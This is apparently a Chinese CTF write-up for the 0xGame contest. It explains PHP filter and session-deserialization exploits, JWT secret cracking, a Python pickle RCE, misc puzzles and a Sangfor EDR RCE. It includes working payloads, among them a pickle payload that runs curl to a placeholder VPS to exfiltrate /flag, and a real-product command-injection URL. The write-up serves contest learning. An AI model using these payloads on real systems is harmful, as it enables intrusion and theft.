前言
南邮的师傅们整了个 0xGame,比赛持续了一个月,每周放出一定的题目。
大概看了看,题目还是有点意思的。
主要顺便总结了一下 PHP SESSION 序列化引擎不同带来的反序列化漏洞吧。
(由于比较懒就没怎么写 WP,写的也比较简略
嘤嘤嘤(跑
Week 4
Web_switch
小明在使用vim时电脑死机了,但是他写的代码还没有保存,这可怎么办呢?
访问显示
Do you know vim in Linux?
想到应该是 vim 的缓存文件吧。
即 .index.php.swp
下载以后用 vim 加载
vim -r .index.php.swp
而后 :wq
保存得到源码。
<?php
error_reporting(0);//flag in flag.php
$id = $_POST['id']?$_POST['id']:0;
$file = $_POST['file']?$_POST['file']:"";
if($id == '2'){
die("no no no !");
}
switch ($id) {
case 0:
die('<h1 align="center"><font color="red">Do you know vim in Linux?</font></h1>');
case 1:
die("0xGame Good!");
case 2:
if(preg_match('/filter|base64/', $file)){
die("hacker");
}
include($file);
}
POST 接收两个参数,id
的话在 switch
里会被强制类型转换,只需要输入第一个字符为 2 即可。
file
的话用 PHP 伪协议去读取。
虽然过滤了filter|base64
,但匹配时没有不区分大小写,而 PHP 对大小写不敏感,于是改个大小写就完事了。
payload:
id=2sdf&file=php://filTer/read=convert.basE64-encode/resource=flag.php
得到
PD9waHANCiRmbGFnPScweEdhbWV7UzBtZV9wSHBfdFIxY0tzX3VfRzN0XzF0fSc7
base64decode
<?php
$flag='0xGame{S0me_pHp_tR1cKs_u_G3t_1t}';
get!
Web_broken_motto
- motto为啥查看不了了啊?
- Hint:注意查看注释的地方,注释前后有什么区别
- 题目地址
现学现卖的一题,顺便来总结了一下相关的知识点,PHP 太奇妙了真的。
先源码审计。
register.php
:
<?php
require_once 'class.php';
session_save_path('session');
ini_set('session.serialize_handler','php_serialize');
session_start();
if(isset($_POST['username'])&&isset($_POST['password'])){
$user = new User($_POST['username'], $_POST['password'], $_POST['motto']);
$user->register();
echo 'register success!'."<br/>";
echo '<a href="profile.php">click hear to see your motto</a>';
}else{
die('empty username or password!');
}
?>
profile.php
:
<?php
require_once 'class.php';
//ini_set('session.serialize_handler','php_serialize');
session_save_path('session');
session_start();
if(isset($_SESSION['username'])){
$info = new info();
}else{
die('出错啦!读取不到你的格言QWQ');
}
class.php
:
<?php
class User {
public $username;
public $password;
public $motto;
function __construct($username, $password, $motto)
{
$this->username = $username;
$this->password = $password;
$this->motto = $motto;
}
public function register(){
$_SESSION['username'] = $this->username;
$_SESSION['password'] = $this->password;
$_SESSION['motto'] = $this->motto;
}
}
class info{
public $admin;
public $username;
public $motto;
public function __construct()
{
$this->admin = 0;
$this->motto = $_SESSION['motto'];
$this->username = $_SESSION['username'];
}
public function __destruct()
{
echo 'your motto:'.$this->motto;
if($this->admin===1){
show_source('flag.php');
}
}
}
我们需要让 $this->admin=1
,从而显示 flag。
PHP 在反序列化存储的 $_SESSION
数据时使用的引擎和序列化使用的引擎不一样,从而引入了漏洞。
PHP 里有三种序列化引擎,其中默认使用的是 php
引擎。
php_binary
: 存储方式是,键名的长度对应的 ASCII 字符+键名+经过 serialize() 函数序列化处理的值php
: 存储方式是,键名+竖线+经过 serialize() 函数序列处理的值php_serialize
(php>5.5.4): 存储方式是,经过 serialize() 函数序列化处理的值
PHP 里的 SESSION 是保存在文件里的,文件名格式为 sess_PHPSESSID
,例如:
根据 hint,profile 里的应该用的是默认的 php 序列化引擎,而 register 里用的是 php_serialize
。
profile 里需要 isset($_SESSION['username'])
才能进入,而这个 session 是在注册时 User 类里设置的, 即 $_SESSION['username'] = $this->username;
。
访问 profile 时执行 session_start();
语句时从文件中读取 session,将其反序列化。
那么我们先构造一个序列化好的对象,编写一段 php 代码来得到。
<?php
class info{
public $admin;
public $username;
public $motto;
public function __construct()
{
$this->admin = 1;
$this->motto = "adfs";
$this->username = "admin";
}
}
$x=new info();
echo serialize($x);
得到序列化后的为:
O:4:"info":3:{s:5:"admin";i:1;s:8:"username";s:5:"admin";s:5:"motto";s:4:"adfs";}
在最前面加上 |
,放到username
里。
register 里使用 php_serialize
执行 $_SESSION['username'] = $this->username;
语句时,session 文件中存储的内容为
a:1:{s:8:"username";s:82:"|O:4:"info":3:{s:5:"admin";i:1;s:8:"username";s:5:"admin";s:5:"motto";s:4:"adfs";}";}
而 profile 在 session_start();
执行读取时将这个文件里的内容进行反序列化。
将 |
之前的内容作为 SESSION 的 key,之后的内容作为 value,拿去 unserialize。
即 key 为 a:1:{s:8:"username";s:82:"
, value 为 O:4:"info":3:{s:5:"admin";i:1;s:8:"username";s:5:"admin";s:5:"motto";s:4:"adfs";}";}
。
于是在访问 profile 页面时,会反序列化伪造的数据,实例化 info 对象,最后就会把 admin 置为1了。
先本地试试,构造 payload 如下。
username=|O:4:"info":3:{s:5:"admin";i:1;s:8:"username";s:5:"admin";s:5:"motto";s:4:"adfs";}
password=admin
motto=ddd
session 文件中的内容如下。
访问 profile 页面时成功把 admin 置为1,获取了 flag.php
页面内容。
再拿去远程跑。
得到 flag。
References & Extensive Reading:
Session序列化选择器漏洞(ini_set(‘session.serialize_handler’, ‘php’);)
上面有文章还介绍了另一种漏洞。
若
session.upload_progress.enabled
为 On,当一个上传在处理中,同时 POST 一个与 INI 中设置的session.upload_progress.name
同名变量时,当 PHP 检测到这种 POST 请求时,它会在$_SESSION
中添加一组数据,即就可以将 filename 的值赋值到 session 中。所以可以通过 Session Upload Progress 来设置 session。
例如 http://web.jarvisoj.com:32784/index.php 这一题。
通过构造一个上传页面,如
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123aaa" />
<input type="file" name="file" />
<input type="submit" />
</form>
HTTP 如下,注意要带上 Cookie。
POST /index.php HTTP/1.1
Host: web.jarvisoj.com:32784
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=jnmfjqfll0kttv9cf6i7dfhh32
Content-Type: multipart/form-data; boundary=---------------------------395747469534482322661051838442
Content-Length: 436
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------395747469534482322661051838442
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123asdaf
-----------------------------395747469534482322661051838442
Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
Content-Type: text/plain
xxxxx
-----------------------------395747469534482322661051838442--
表单里带上 PHP_SESSION_UPLOAD_PROGRESS
,再修改 filename 就能再 session 加载时利用反序列化把内容加载到 SESSION 中。
再利用 file_get_contents
结合当前路径读取文件即可。
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
Web_JWT
http://web.game.0xctf.com:30107/
随意输入用户名密码去登录,根据返回的 cookie 得到 JWT (JSON Web Token)。
参考之前的 NUAACTF web2-jwt,利用 c-jwt-cracker 跑出 secret。
secret 即 njupt
。
拿去 jwt.io 加密一下就好了,然后改掉 payload 里的 role
为 admin
。
最后把 cookie 改成 Encoded 里的那个就完事了。
Web_easyPython
- 人生苦短,我用Python
- 登录admin
- 登录成功与否不是必要的,重要在过程,仔细看看bak
- 题目地址
首先点击 Tips 拿到题目的源代码。
关键代码:
# home page
@app.route('/')
# @login_required
def index():
usercookies = request.cookies.get('Cookies')
if not usercookies:
usercookies = "{'username':'guest'}"
else:
usercookies = pickle.loads(base64.b64decode(usercookies))
resp = make_response(render_template('index.html'))
resp.set_cookie('Cookies', base64.b64encode(pickle.dumps(usercookies)))
return resp
这里很明显看到了pickle
,而且根据提示与登陆与否无关,那就是这里了。
这里 pickle.loads
反序列化时貌似没有过滤,于是可以传一个 object 过去,在实例化的时候调用 __reduce()__
方法,执行这里面的内容。
import pickle
import base64
import pickletools
import os
class User():
def __init__(self):
self.name = 'miaotony'
def __reduce__(self):
return (os.system, ('curl http://VPS:PORT/`cat /flag | base64`',))
payload = pickle.dumps(User())
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)
payload_64 = base64.b64encode(payload)
print(payload_64)
把这个生成的 base64 编码的 payload 作为 Cookies
,修改后重新访问,理论上就能在 VPS 上拿到 base64 编码的 flag。
然而并没有成功。。打过去之后返回 500 Internal Server Error.
比赛结束之后看了官方WP,才知道原来是操作系统的锅,我这个是在 Windows 下生成的。
这个序列化的结果还与操作系统有关系。
修改为 posix
,或者在 Linux 下生成就没这个问题了。
另外发现需要去掉 pickle 的版本标识 \x80\x03
.我用的 opcode 是 Python3 下的 版本3。
于是我这个 payload 就是
b'cposix\nsystem\nX3\x00\x00\x00curl http://VPS:PORT/`cat /flag | base64`\x85R.'
修改 Cookies,在 VPS 上接收一下,拿到 flag。
Misc_flip
pwd.mp3
一听就是电报了,老摩斯了。
读出来是
....- ----- ----- ---.. ..... -.... -.... ----. ----. ...-- ----- ----- ... .. -.. .-. --- .-- ... ... .- .--.
解码得到
400856699300SIDROWSSAP
一看就是倒过来了的,那就倒回去。
PASSWORDIS003996658004
拿 003996658004
去解压 galf_si_siht_2.zip
,得到 galf_si_siht.zip
。
发现打不开,放到 010 Editor 里,发现套了两个 zip,老缝合怪了。
分别把两个 zip 提取出来。
password.txt
:
I want to write file in binary, but something seems to be wrong?
看到末尾一位都是0,盲猜是倒过来的 ASCII。写个脚本试试。
s = """10100110
11010110
......
10011010"""
l = s.split('\n')
pwd=''
for i in l:
x = i[::-1]
print(x)
char = chr(int(x, 2))
pwd += char
print(pwd)
print(pwd[::-1])
# You are so clever that this problem is just a piece of cake for you, the password is A_pi3ce_0f_C4ke
得到密码为 A_pi3ce_0f_C4ke
。
解压galf_si_siht.png
。
好家伙,又是倒过来的。
with open(r"galf_si_siht.png", 'rb') as fin:
img = fin.read()
with open(r"galf_si_siht_fix.png", 'wb') as fout:
fout.write(img[::-1])
得到一张二维码。
扫码得到 http://am473ur.com/0xgame/flip/bd055250d3906d1f791d8e83b4396893.php
0xGame{b07906f9-f6f5-4120-9f80-01d761c8602e}
老套娃了(
Misc_Hex酱
发现过滤的关键字其实只是命令里包含相应的字符而已,大写绕过就完事了~
不过还是日了一个晚上((
之前还没怎么在 Windows 下整命令行,这次还特地去查了一番。
最开始还是绕了一大弯,本来不知道 flag 在哪,找了半天突然想到应该就在桌面上了。
当前路径是 C:\Users\Administrator\Desktop\Game\HexQBot
通过环境变量和通配符,复制再读取 flag。
后来突然想到不用这么复杂,直接读就完事了。
后面问了出题的 Am473ur 师傅,这个返回内容的长度有了限制,所以有的指令发过去没有返回了。
另外这个 Hex酱 挺容易崩的,心疼一下运维师傅(
Week 3
之前几周懒了,就随便看看题做做题,基本没写 WP,就这样8.
Web_intval
payload:
http://web.game.0xctf.com:30102/?0xGame=20201001%0a&id=1024.3
<?php
highlight_file(__FILE__);
include("ffllaagg.php");
//1st
if(isset ($_GET['0xGame'])) {
if($_GET['0xGame'] !== '20201001' && preg_match('/^20201001$/',$_GET['0xGame']))
echo 'Good job!'.'<br>';
else
die('Think it over!');
}
//2nd
if(isset($_GET['id'])){
$id=intval($_GET['id']);
if($_GET['id'] != 1024 && $id === 1024)
echo 'Congratulations!'.'<br>'.$flag;
else
die('Work harder!');
}
Good job!
Congratulations!
0xGame{947eae96fe415cbc6eab176f15dd98b1}
Web_edr
深信服 RCE
参考:
https://blog.csdn.net/qq_37602797/article/details/108068122
https://mp.weixin.qq.com/s/4VtJ_M0c5GZsV4CmBr9CsQ
payload:
http://web1.game.0xctf.com:40000/?strip_slashes=system&host=cat%20/flag
0xGame{S4n9f0r_3dR_c4N_Rce_reC3n7_D4y}
小结
还是挺有意思的。
(首尾呼应
(溜了喵